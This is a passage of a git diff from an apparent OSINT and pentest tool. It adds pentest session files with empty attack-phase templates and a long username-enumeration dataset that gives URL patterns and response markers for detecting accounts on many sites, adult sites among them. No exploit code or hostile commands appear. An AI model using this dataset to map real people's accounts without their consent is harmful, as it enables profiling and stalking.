+VrF6IhLrD2AznQyOqY0WeLGmoXe3FT5caUiTm5Kg28xTJC9m7hDOFE34d0Aqb+U1 +U4GFlmXor+MdNKYTEJJy3pslxEZOiRNiiLKWjecYrcKfSk0LY/8TkqVB44pZBQZB +6naQfFuuxDtEa6bHM0q+P/6HM35tpEu6TEJ1eU/yRrejhySFIHfKTjy/WXsm +-----END CERTIFICATE----- diff --git a/data/exports/osint_testuser_20260214_041834.csv b/data/exports/osint_testuser_20260214_041834.csv new file mode 100644 index 0000000..893f705 --- /dev/null +++ b/data/exports/osint_testuser_20260214_041834.csv @@ -0,0 +1,2 @@ +Site,URL,Category,Status,Confidence +GitHub,https://github.com/test,,good,85 \ No newline at end of file diff --git a/data/exports/osint_testuser_20260214_041834.json b/data/exports/osint_testuser_20260214_041834.json new file mode 100644 index 0000000..00db19a --- /dev/null +++ b/data/exports/osint_testuser_20260214_041834.json @@ -0,0 +1,13 @@ +{ + "query": "testuser", + "exported": "2026-02-14T04:18:34.669640", + "total_results": 1, + "results": [ + { + "name": "GitHub", + "url": "https://github.com/test", + "status": "good", + "rate": 85 + } + ] +} \ No newline at end of file diff --git a/data/pentest_sessions/10_0_0_56_20260214_010220.json b/data/pentest_sessions/10_0_0_56_20260214_010220.json new file mode 100644 index 0000000..40c80e6 --- /dev/null +++ b/data/pentest_sessions/10_0_0_56_20260214_010220.json @@ -0,0 +1,129 @@ +{ + "session_id": "10_0_0_56_20260214_010220", + "target": "10.0.0.56", + "state": "completed", + "created_at": "2026-02-14T01:02:20.746609", + "updated_at": "2026-02-14T01:12:20.951316", + "notes": "", + "step_count": 0, + "tree": { + "target": "10.0.0.56", + "created_at": "2026-02-14T01:02:20.746597", + "updated_at": "2026-02-14T01:02:20.746742", + "root_nodes": [ + "e0d00dbc", + "cf120ead", + "6f4a664c", + "814f0376", + "5b602881", + "4d2e70e8" + ], + "nodes": { + "e0d00dbc": { + "id": "e0d00dbc", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-02-14T01:02:20.746668", + "updated_at": "2026-02-14T01:02:20.746668" + }, + "cf120ead": { + "id": "cf120ead", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-02-14T01:02:20.746685", + "updated_at": "2026-02-14T01:02:20.746685" + }, + "6f4a664c": { + "id": "6f4a664c", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-02-14T01:02:20.746699", + "updated_at": "2026-02-14T01:02:20.746699" + }, + "814f0376": { + "id": "814f0376", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-02-14T01:02:20.746711", + "updated_at": "2026-02-14T01:02:20.746711" + }, + "5b602881": { + "id": "5b602881", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-02-14T01:02:20.746726", + "updated_at": "2026-02-14T01:02:20.746726" + }, + "4d2e70e8": { + "id": "4d2e70e8", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-02-14T01:02:20.746739", + "updated_at": "2026-02-14T01:02:20.746739" + } + } + }, + "events": [ + { + "timestamp": "2026-02-14T01:02:20.746747", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + }, + { + "timestamp": "2026-02-14T01:12:20.951316", + "event_type": "state_change", + "data": { + "from": "running", + "to": "completed", + "summary": "" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/pentest_sessions/192_168_1_100_20260127_202421.json b/data/pentest_sessions/192_168_1_100_20260127_202421.json new file mode 100644 index 0000000..b59d31f --- /dev/null +++ b/data/pentest_sessions/192_168_1_100_20260127_202421.json @@ -0,0 +1,120 @@ +{ + "session_id": "192_168_1_100_20260127_202421", + "target": "192.168.1.100", + "state": "running", + "created_at": "2026-01-27T20:24:21.604010", + "updated_at": "2026-01-27T20:24:21.604098", + "notes": "", + "step_count": 0, + "tree": { + "target": "192.168.1.100", + "created_at": "2026-01-27T20:24:21.604003", + "updated_at": "2026-01-27T20:24:21.604091", + "root_nodes": [ + "4be13ed9", + "8dc38740", + "22ee2768", + "2c45477f", + "6f793ae8", + "778fc896" + ], + "nodes": { + "4be13ed9": { + "id": "4be13ed9", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-27T20:24:21.604032", + "updated_at": "2026-01-27T20:24:21.604032" + }, + "8dc38740": { + "id": "8dc38740", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-27T20:24:21.604044", + "updated_at": "2026-01-27T20:24:21.604044" + }, + "22ee2768": { + "id": "22ee2768", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-27T20:24:21.604056", + "updated_at": "2026-01-27T20:24:21.604056" + }, + "2c45477f": { + "id": "2c45477f", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-27T20:24:21.604066", + "updated_at": "2026-01-27T20:24:21.604066" + }, + "6f793ae8": { + "id": "6f793ae8", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-27T20:24:21.604077", + "updated_at": "2026-01-27T20:24:21.604077" + }, + "778fc896": { + "id": "778fc896", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-27T20:24:21.604088", + "updated_at": "2026-01-27T20:24:21.604088" + } + } + }, + "events": [ + { + "timestamp": "2026-01-27T20:24:21.604098", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/pentest_sessions/192_168_50_78_20260130_133833.json b/data/pentest_sessions/192_168_50_78_20260130_133833.json new file mode 100644 index 0000000..eb0afcf --- /dev/null +++ b/data/pentest_sessions/192_168_50_78_20260130_133833.json @@ -0,0 +1,120 @@ +{ + "session_id": "192_168_50_78_20260130_133833", + "target": "192.168.50.78", + "state": "running", + "created_at": "2026-01-30T13:38:33.830336", + "updated_at": "2026-01-30T13:38:33.830464", + "notes": "", + "step_count": 0, + "tree": { + "target": "192.168.50.78", + "created_at": "2026-01-30T13:38:33.830323", + "updated_at": "2026-01-30T13:38:33.830460", + "root_nodes": [ + "e4c40c28", + "ddd63828", + "b3f2634d", + "9c162c78", + "aa40d5a3", + "0c50a23d" + ], + "nodes": { + "e4c40c28": { + "id": "e4c40c28", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-30T13:38:33.830390", + "updated_at": "2026-01-30T13:38:33.830390" + }, + "ddd63828": { + "id": "ddd63828", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-30T13:38:33.830408", + "updated_at": "2026-01-30T13:38:33.830408" + }, + "b3f2634d": { + "id": "b3f2634d", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-30T13:38:33.830421", + "updated_at": "2026-01-30T13:38:33.830421" + }, + "9c162c78": { + "id": "9c162c78", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-30T13:38:33.830433", + "updated_at": "2026-01-30T13:38:33.830433" + }, + "aa40d5a3": { + "id": "aa40d5a3", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-30T13:38:33.830445", + "updated_at": "2026-01-30T13:38:33.830445" + }, + "0c50a23d": { + "id": "0c50a23d", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-30T13:38:33.830457", + "updated_at": "2026-01-30T13:38:33.830457" + } + } + }, + "events": [ + { + "timestamp": "2026-01-30T13:38:33.830464", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/pentest_sessions/example_com_20260128_192244.json b/data/pentest_sessions/example_com_20260128_192244.json new file mode 100644 index 0000000..4bcc37c --- /dev/null +++ b/data/pentest_sessions/example_com_20260128_192244.json @@ -0,0 +1,120 @@ +{ + "session_id": "example_com_20260128_192244", + "target": "example.com", + "state": "running", + "created_at": "2026-01-28T19:22:44.670292", + "updated_at": "2026-01-28T19:22:44.670428", + "notes": "test", + "step_count": 0, + "tree": { + "target": "example.com", + "created_at": "2026-01-28T19:22:44.670279", + "updated_at": "2026-01-28T19:22:44.670423", + "root_nodes": [ + "466dcf04", + "55991daa", + "e3209082", + "af036f87", + "633c0eeb", + "8584f7fc" + ], + "nodes": { + "466dcf04": { + "id": "466dcf04", + "label": "Reconnaissance", + "node_type": "reconnaissance", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Information gathering and target enumeration", + "tool_output": null, + "findings": [], + "priority": 1, + "created_at": "2026-01-28T19:22:44.670353", + "updated_at": "2026-01-28T19:22:44.670353" + }, + "55991daa": { + "id": "55991daa", + "label": "Initial Access", + "node_type": "initial_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Gaining initial foothold on target", + "tool_output": null, + "findings": [], + "priority": 2, + "created_at": "2026-01-28T19:22:44.670371", + "updated_at": "2026-01-28T19:22:44.670371" + }, + "e3209082": { + "id": "e3209082", + "label": "Privilege Escalation", + "node_type": "privilege_escalation", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Escalating from initial access to higher privileges", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-28T19:22:44.670384", + "updated_at": "2026-01-28T19:22:44.670384" + }, + "af036f87": { + "id": "af036f87", + "label": "Lateral Movement", + "node_type": "lateral_movement", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Moving to other systems in the network", + "tool_output": null, + "findings": [], + "priority": 4, + "created_at": "2026-01-28T19:22:44.670397", + "updated_at": "2026-01-28T19:22:44.670397" + }, + "633c0eeb": { + "id": "633c0eeb", + "label": "Credential Access", + "node_type": "credential_access", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Obtaining credentials and secrets", + "tool_output": null, + "findings": [], + "priority": 3, + "created_at": "2026-01-28T19:22:44.670408", + "updated_at": "2026-01-28T19:22:44.670408" + }, + "8584f7fc": { + "id": "8584f7fc", + "label": "Persistence", + "node_type": "persistence", + "status": "todo", + "parent_id": null, + "children": [], + "details": "Maintaining access to compromised systems", + "tool_output": null, + "findings": [], + "priority": 5, + "created_at": "2026-01-28T19:22:44.670420", + "updated_at": "2026-01-28T19:22:44.670420" + } + } + }, + "events": [ + { + "timestamp": "2026-01-28T19:22:44.670428", + "event_type": "state_change", + "data": { + "from": "idle", + "to": "running" + } + } + ], + "findings": [], + "pipeline_history": [] +} \ No newline at end of file diff --git a/data/sites/blackbird.json b/data/sites/blackbird.json new file mode 100644 index 0000000..7d4ad65 --- /dev/null +++ b/data/sites/blackbird.json @@ -0,0 +1,10185 @@ +{ + "license": [ + "Copyright (C) 2025 Micah Hoffman", + "This work is licensed under the Creative Commons Attribution-ShareAlike", + "4.0 International License. To view a copy of this license, visit", + "http://creativecommons.org/licenses/by-sa/4.0/ or send a letter to", + "Creative Commons, PO Box 1866, Mountain View, CA 94042, USA." + ], + "authors": [ + "0x9404", + "3xp0rt", + "alexisthereal", + "alvaromaltrain", + "arin17bishwa", + "AXRoux", + "balestek", + "Brenden2008", + "C3n7ral051nt4g3ncy", + "Contributions since 2023-12", + "degun-osint", + "End of interactive chart.", + "fres621", + "Its-Just-Nans", + "Itsoon", + "janhalendk", + "K2SOsint", + "maxk096", + "Micah Hoffman", + "ni5arga", + "p1ngul1n0", + "Paradoxxs", + "serdaraltin", + "SlopeSlayer910", + "SorkoPiko", + "TikvahTerminator" + ], + "categories": [ + "archived", + "art", + "blog", + "business", + "coding", + "dating", + "finance", + "gaming", + "health", + "hobby", + "images", + "misc", + "music", + "news", + "political", + "search", + "shopping", + "social", + "tech", + "video", + "xx NSFW xx" + ], + "sites": [ + { + "name": "21buttons", + "uri_check": "https://www.21buttons.com/buttoner/{account}", + "e_code": 200, + "e_string": "profile-info__profile-data__name", + "m_string": "This is not the page you're looking for", + "m_code": 404, + "known": [ + "patricialmendro", + "ginamariahoffmann", + "espeworkout" + ], + "cat": "social" + }, + { + "name": "247CTF", + "uri_check": "https://247ctf.com/progress/{account}", + "e_code": 200, + "e_string": "property=\"og:url\"", + "m_string": "

    Redirecting...

    ", + "m_code": 302, + "known": [ + "pottm", + "jusb3" + ], + "cat": "tech" + }, + { + "name": "247sports", + "uri_check": "https://247sports.com/User/{account}/", + "e_code": 200, + "e_string": "247Sports", + "m_code": 404, + "known": [ + "bob", + "john" + ], + "cat": "hobby" + }, + { + "name": "35photo", + "uri_check": "https://35photo.pro/@{account}/", + "e_code": 200, + "e_string": "Ошибка / 7dach.ru", + "m_code": 404, + "known": [ + "lana", + "svetlana" + ], + "cat": "social" + }, + { + "name": "about.me", + "uri_check": "https://about.me/{account}", + "e_code": 200, + "e_string": " | about.me", + "m_string": "about.me", + "m_code": 404, + "known": [ + "john", + "jill" + ], + "cat": "social" + }, + { + "name": "ACF", + "uri_check": "https://support.advancedcustomfields.com/forums/users/{account}/", + "e_code": 200, + "e_string": "ACF Support", + "m_string": "Page Not Found", + "m_code": 200, + "known": [ + "mike", + "greg" + ], + "cat": "coding" + }, + { + "name": "AdmireMe.VIP", + "uri_check": "https://admireme.vip/{account}/", + "e_code": 200, + "e_string": "creator-stat subscriber", + "m_string": "<title>Page Not Found |", + "m_code": 404, + "known": [ + "justjessicarabbit", + "savannah250xo" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Adult_Forum", + "uri_check": "https://adultforum.gr/{account}-glamour-escorts/", + "e_code": 200, + "e_string": "Glamour Escorts ", + "m_string": "Page not found - Adult Forum Gr", + "m_code": 404, + "known": [ + "nastya3", + "ekaterina" + ], + "cat": "xx NSFW xx" + }, + { + "name": "adultism", + "uri_check": "https://www.adultism.com/profile/{account}", + "e_code": 200, + "e_string": "Last login:", + "m_string": "<title> Not Found", + "m_code": 404, + "known": [ + "laura", + "sara" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ADVFN", + "uri_check": "https://uk.advfn.com/forum/profile/{account}", + "e_code": 200, + "e_string": "Profile | ADVFN", + "m_string": "ADVFN ERROR - Page Not Found", + "m_code": 404, + "known": [ + "crypto", + "crypto1" + ], + "cat": "finance" + }, + { + "name": "Airline_Pilot_Life", + "uri_check": "https://airlinepilot.life/u/{account}.json", + "uri_pretty": "https://airlinepilot.life/u/{account}", + "e_code": 200, + "e_string": "primary_group_name", + "m_string": "he requested URL or resource could not be found.", + "m_code": 404, + "known": [ + "hannah", + "addison" + ], + "cat": "social" + }, + { + "name": "Airliners", + "uri_check": "https://www.airliners.net/user/{account}/profile", + "e_code": 200, + "e_string": "'s Profile | Airliners Members | Airliners.net", + "m_string": "An Error Occurred", + "m_code": 404, + "known": [ + "pilot", + "pilota" + ], + "cat": "social" + }, + { + "name": "akniga", + "uri_check": "https://akniga.org/profile/{account}", + "e_code": 200, + "e_string": " - Аудиокниги Клуб</title", + "m_string": "К сожалению, такой страницы не существует. Вероятно, она была удалена с сервера, либо ее здесь никогда не было.", + "m_code": 200, + "known": [ + "bob", + "blue" + ], + "cat": "hobby" + }, + { + "name": "Albicla", + "uri_check": "https://albicla.com/{account}/post/1", + "uri_pretty": "https://albicla.com/{account}", + "e_code": 500, + "e_string": "500 Post tymczasowo niedostępny", + "m_string": "404 Nie znaleziono użytkownika", + "m_code": 200, + "known": [ + "GazetaPolska", + "GPCodziennie" + ], + "cat": "social" + }, + { + "name": "alik", + "uri_check": "https://www.alik.cz/u/{account}", + "e_code": 200, + "e_string": "Vizitka – Alík.cz", + "m_string": "Vizitka nenalezena", + "m_code": 404, + "known": [ + "igor", + "pavel" + ], + "cat": "social" + }, + { + "name": "AllMyLinks", + "uri_check": "https://allmylinks.com/{account}", + "e_code": 200, + "e_string": "class=\"site-profile guest\"", + "m_string": "class=\"site-error\"", + "m_code": 404, + "known": [ + "blue", + "goddessbecca" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Alura", + "uri_check": "https://cursos.alura.com.br/user/{account}", + "e_code": 200, + "e_string": "Perfil de", + "m_string": "\"error\":\"Not Found\"", + "m_code": 404, + "known": [ + "edmilson", + "jonathan" + ], + "cat": "tech" + }, + { + "name": "Ameblo", + "uri_check": "https://ameblo.jp/{account}", + "e_code": 200, + "e_string": "画像一覧", + "m_string": "削除された可能性がございます。", + "m_code": 404, + "known": [ + "ereko-blog", + "senpai" + ], + "cat": "blog" + }, + { + "name": "AmericanThinker", + "uri_check": "https://www.americanthinker.com/author/{account}/", + "e_code": 200, + "e_string": "Articles &", + "m_string": "American Thinker", + "m_code": 301, + "known": [ + "terrypaulding", + "monicashowalter" + ], + "cat": "political" + }, + { + "name": "AniList", + "uri_check": "https://graphql.anilist.co", + "uri_pretty": "https://anilist.co/user/{account}", + "post_body": "{\"query\":\"query{User(name:\\\"{account}\\\"){id name}}\"}", + "headers": { + "accept": "application/json", + "Content-Type": "application/json" + }, + "e_code": 200, + "e_string": "\"id\":", + "m_string": "Not Found", + "m_code": 404, + "known": [ + "test", + "johndoe" + ], + "cat": "social" + }, + { + "name": "Anime-Planet", + "uri_check": "https://www.anime-planet.com/api/validation/username", + "uri_pretty": "https://www.anime-planet.com/users/{account}", + "post_body": "{\"username\":\"{account}\"}", + "headers": { + "Content-Type": "application/json" + }, + "e_code": 400, + "e_string": "\"msg\":\"Username is unavailable\"", + "m_string": "\"status\":\"ok\"", + "m_code": 200, + "known": [ + "zala", + "lindapearl" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "anonup", + "uri_check": "https://anonup.com/@{account}", + "e_code": 200, + "e_string": "Show followings", + "m_string": "Page not found!", + "m_code": 302, + "known": [ + "john", + "peter" + ], + "cat": "social" + }, + { + "name": "Aparat", + "uri_check": "https://www.aparat.com/api/fa/v1/user/user/information/username/{account}", + "uri_pretty": "https://www.aparat.com/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "class=\"error-body\"", + "m_code": 404, + "known": [ + "abolfazlxmaster", + "siahkolah" + ], + "cat": "social" + }, + { + "name": "Apex Legends", + "uri_check": "https://api.tracker.gg/api/v2/apex/standard/profile/origin/{account}", + "uri_pretty": "https://apex.tracker.gg/apex/profile/origin/{account}/overview", + "headers": { + "Accept-Language": "en-US,en;q=0.5", + "Origin": "https://apex.tracker.gg", + "Referer": "https://apex.tracker.gg/", + "TE": "trailers", + "User-Agent": "Mozilla/5.0 (Mozilla/5.0 (X11; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "platformInfo", + "m_string": "CollectorResultStatus::NotFound", + "m_code": 404, + "known": [ + "tttcheekyttt", + "RollsRoyce_Dawn" + ], + "cat": "gaming" + }, + { + "name": "Appian", + "uri_check": "https://community.appian.com/members/{account}", + "e_code": 200, + "e_string": "User Profile", + "m_string": "Go back to our", + "m_code": 301, + "known": [ + "mikec", + "varunkumarb0001" + ], + "cat": "tech" + }, + { + "name": "Arch Linux GitLab", + "uri_check": "https://gitlab.archlinux.org/api/v4/users?username={account}", + "uri_pretty": "https://gitlab.archlinux.org/{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "[]", + "m_code": 200, + "known": [ + "morganamilo", + "nl6720" + ], + "cat": "social" + }, + { + "name": "Archive Of Our Own Account", + "uri_check": "https://archiveofourown.org/users/{account}", + "e_code": 200, + "e_string": "class=\"user home\"", + "m_string": "class=\"system errors error-404 region\"", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "hobby" + }, + { + "name": "ArchWiki", + "uri_check": "https://wiki.archlinux.org/api.php?action=query&format=json&list=users&ususers={account}&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=en", + "uri_pretty": "https://wiki.archlinux.org/title/User:{account}", + "e_code": 200, + "e_string": "\"userid\":", + "m_string": "\"missing\":true", + "m_code": 200, + "known": [ + "Lahwaacz", + "Erus_Iluvatar" + ], + "cat": "social" + }, + { + "name": "Arduino (Forum)", + "uri_check": "https://forum.arduino.cc/u/{account}.json", + "uri_pretty": "https://forum.arduino.cc/u/{account}/summary", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error_type\":\"not_found\"", + "m_code": 404, + "known": [ + "martinhouse", + "gilshultz" + ], + "cat": "tech" + }, + { + "name": "Arduino (Project Hub)", + "uri_check": "https://projecthub.arduino.cc/{account}", + "e_code": 200, + "e_string": "\"userInfo\":{", + "m_string": "\"userInfo\":null", + "m_code": 200, + "known": [ + "peter", + "willy-js" + ], + "cat": "tech" + }, + { + "name": "ArmorGames", + "uri_check": "https://armorgames.com/user/{account}", + "e_code": 200, + "e_string": "about", + "m_string": "404: Oh Noes!", + "m_code": 302, + "known": [ + "john", + "sammy" + ], + "cat": "gaming" + }, + { + "name": "Arsmate", + "uri_check": "https://arsmate.com/{account}", + "e_code": 200, + "e_string": "far fa-user-circle mr-1", + "m_string": "error-link mt-5", + "m_code": 404, + "known": [ + "Angelic", + "Vardoc" + ], + "cat": "xx NSFW xx" + }, + { + "name": "ArtBreeder", + "uri_check": "https://www.artbreeder.com/{account}", + "e_code": 200, + "e_string": "", + "m_string": "Not found:", + "m_code": 404, + "known": [ + "dolores", + "cyborghyena" + ], + "cat": "art" + }, + { + "name": "Artists & Clients", + "uri_check": "https://artistsnclients.com/people/{account}", + "e_code": 200, + "e_string": "Member Since", + "m_string": "The page you requested wasn't there when we tried to get it for you. What a bother!", + "m_code": 404, + "known": [ + "luluc0", + "MuraArts" + ], + "cat": "art" + }, + { + "name": "ArtStation", + "uri_check": "https://www.artstation.com/{account}", + "e_code": 200, + "e_string": "Portfolio", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "kongaxl_design", + "alex_pi" + ], + "cat": "art" + }, + { + "name": "asciinema", + "uri_check": "https://asciinema.org/~{account}", + "e_code": 200, + "e_string": "class=\"profile-page\"", + "m_string": "<h1>404 Not Found</h1>", + "m_code": 404, + "known": [ + "john", + "red" + ], + "cat": "coding" + }, + { + "name": "AtCoder", + "uri_check": "https://atcoder.jp/users/{account}", + "e_code": 200, + "e_string": "<h3>Contest Status</h3>", + "m_string": ">404 Page Not Found</h1>", + "m_code": 404, + "known": [ + "apiad", + "kotatsugame" + ], + "cat": "coding" + }, + { + "name": "au.ru", + "uri_check": "https://au.ru/user/{account}/", + "e_code": 200, + "e_string": "Лоты пользователя ", + "m_string": "Пользователь не найден", + "m_code": 404, + "known": [ + "Svetlana7", + "nastya" + ], + "cat": "misc" + }, + { + "name": "Audiojungle", + "uri_check": "https://audiojungle.net/user/{account}", + "e_code": 200, + "e_string": "s profile on AudioJungle", + "m_string": "404 - Nothing to see here", + "m_code": 404, + "known": [ + "john", + "reds" + ], + "cat": "music" + }, + { + "name": "Avid Community", + "uri_check": "https://community.avid.com/members/{account}/default.aspx", + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8", + "Cache-Control": "no-cache", + "Host": "community.avid.com", + "User-Agent": "Mozilla/5.0 (Mozilla/5.0 (X11; Linux i686; rv:128.0) Gecko/20100101 Firefox/128.0" + }, + "e_code": 200, + "e_string": "My Activity", + "m_string": "The user you requested cannot be found.", + "m_code": 302, + "known": [ + "Thayne", + "Admin" + ], + "cat": "music" + }, + { + "name": "babepedia", + "uri_check": "https://www.babepedia.com/user/{account}", + "e_code": 200, + "e_string": "'s Page", + "m_string": "Profile not found", + "m_code": 404, + "known": [ + "cherry", + "betty" + ], + "cat": "xx NSFW xx" + }, + { + "name": "BabyPips", + "uri_check": "https://forums.babypips.com/u/{account}.json", + "uri_pretty": "https://forums.babypips.com/u/{account}/summary", + "e_code": 200, + "e_string": "user_badges", + "m_string": "The requested URL or resource could not be found", + "m_code": 404, + "known": [ + "baemax023", + "scottycarsonmvp" + ], + "cat": "social" + }, + { + "name": "Bandcamp", + "uri_check": "https://bandcamp.com/{account}", + "e_code": 200, + "e_string": " collection | Bandcamp", + "m_string": "

    Sorry, that something isn’t here.

    ", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "music" + }, + { + "name": "Bandlab", + "uri_check": "https://www.bandlab.com/api/v1.3/users/{account}", + "uri_pretty": "https://www.bandlab.com/{account}", + "e_code": 200, + "e_string": "about", + "m_string": "Couldn't find any matching element, it might be deleted", + "m_code": 404, + "known": [ + "rave_flawless", + "delutaya" + ], + "cat": "music" + }, + { + "name": "bblog_ru", + "uri_check": "https://www.babyblog.ru/user/{account}", + "e_code": 200, + "e_string": ") — дневник на Babyblog.ru", + "m_string": "БэбиБлог - беременность, календарь беременности, дневники", + "m_code": 200, + "known": [ + "joyfitnessdance1", + "bobkokatya94" + ], + "cat": "misc" + }, + { + "name": "BDSMLR", + "uri_check": "https://{account}.bdsmlr.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "login", + "m_string": "This blog doesn't exist.", + "m_code": 200, + "known": [ + "themunch", + "shibari4all" + ], + "cat": "xx NSFW xx" + }, + { + "name": "bdsmsingles", + "uri_check": "https://www.bdsmsingles.com/members/{account}/", + "e_code": 200, + "e_string": "Profile", + "m_string": "BDSM Singles", + "m_code": 302, + "known": [ + "GoddessBlueDiamo", + "aalama" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Beacons", + "uri_check": "https://beacons.ai/{account}", + "e_code": 200, + "e_string": " - Link in Bio & Creator Tools | Beacons", + "m_string": "The page you are looking for does not seem to exist anymore", + "m_code": 200, + "known": [ + "rafaballerini", + "lexaloco", + "jardred" + ], + "cat": "social", + "protection": [ + "cloudflare" + ] + }, + { + "name": "Bentbox", + "uri_check": "https://bentbox.co/{account}", + "e_code": 200, + "e_string": "
    ", + "m_string": "This user is currently not available", + "m_code": 200, + "known": [ + "brockdoom", + "witchhouse", + "hotoptics" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Bento", + "uri_check": "https://bento.me/{account}", + "e_code": 200, + "e_string": "href=\"https://bento.me/explore\"", + "m_string": ">Available!
    ", + "m_code": 404, + "known": [ + "carlito", + "taylor" + ], + "cat": "social" + }, + { + "name": "BiggerPockets", + "uri_check": "https://www.biggerpockets.com/users/{account}", + "e_code": 200, + "e_string": "| BiggerPockets", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "trustgreene", + "chasel9" + ], + "cat": "finance" + }, + { + "name": "BIGO Live", + "uri_check": "https://www.bigo.tv/user/{account}", + "e_code": 200, + "e_string": "userInfo:{nickName", + "m_string": "userInfo:{}", + "m_code": 200, + "known": [ + "treasdior", + "Jacin19" + ], + "cat": "gaming" + }, + { + "name": "Bikemap", + "uri_check": "https://www.bikemap.net/en/u/{account}/routes/created/", + "e_code": 200, + "e_string": "- 🚲 Bikemap", + "m_string": "Page not found - Error 404 ", + "m_code": 404, + "known": [ + "mike", + "greg" + ], + "cat": "health" + }, + { + "name": "Bimpos", + "uri_check": "https://ask.bimpos.com/user/{account}", + "e_code": 200, + "e_string": "<title>User ", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "db" + ], + "cat": "tech" + }, + { + "name": "Bio Sites", + "uri_check": "https://bio.site/{account}", + "e_code": 200, + "e_string": "section\":{\"handles", + "m_string": "This site no longer exists", + "m_code": 404, + "known": [ + "leticiabufoni", + "kayurkaRhea" + ], + "cat": "social" + }, + { + "name": "biolink", + "uri_check": "https://bio.link/{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you’re looking for doesn’t exist", + "m_code": 404, + "known": [ + "adli_hm", + "jake" + ], + "cat": "misc" + }, + { + "name": "Bitbucket", + "uri_check": 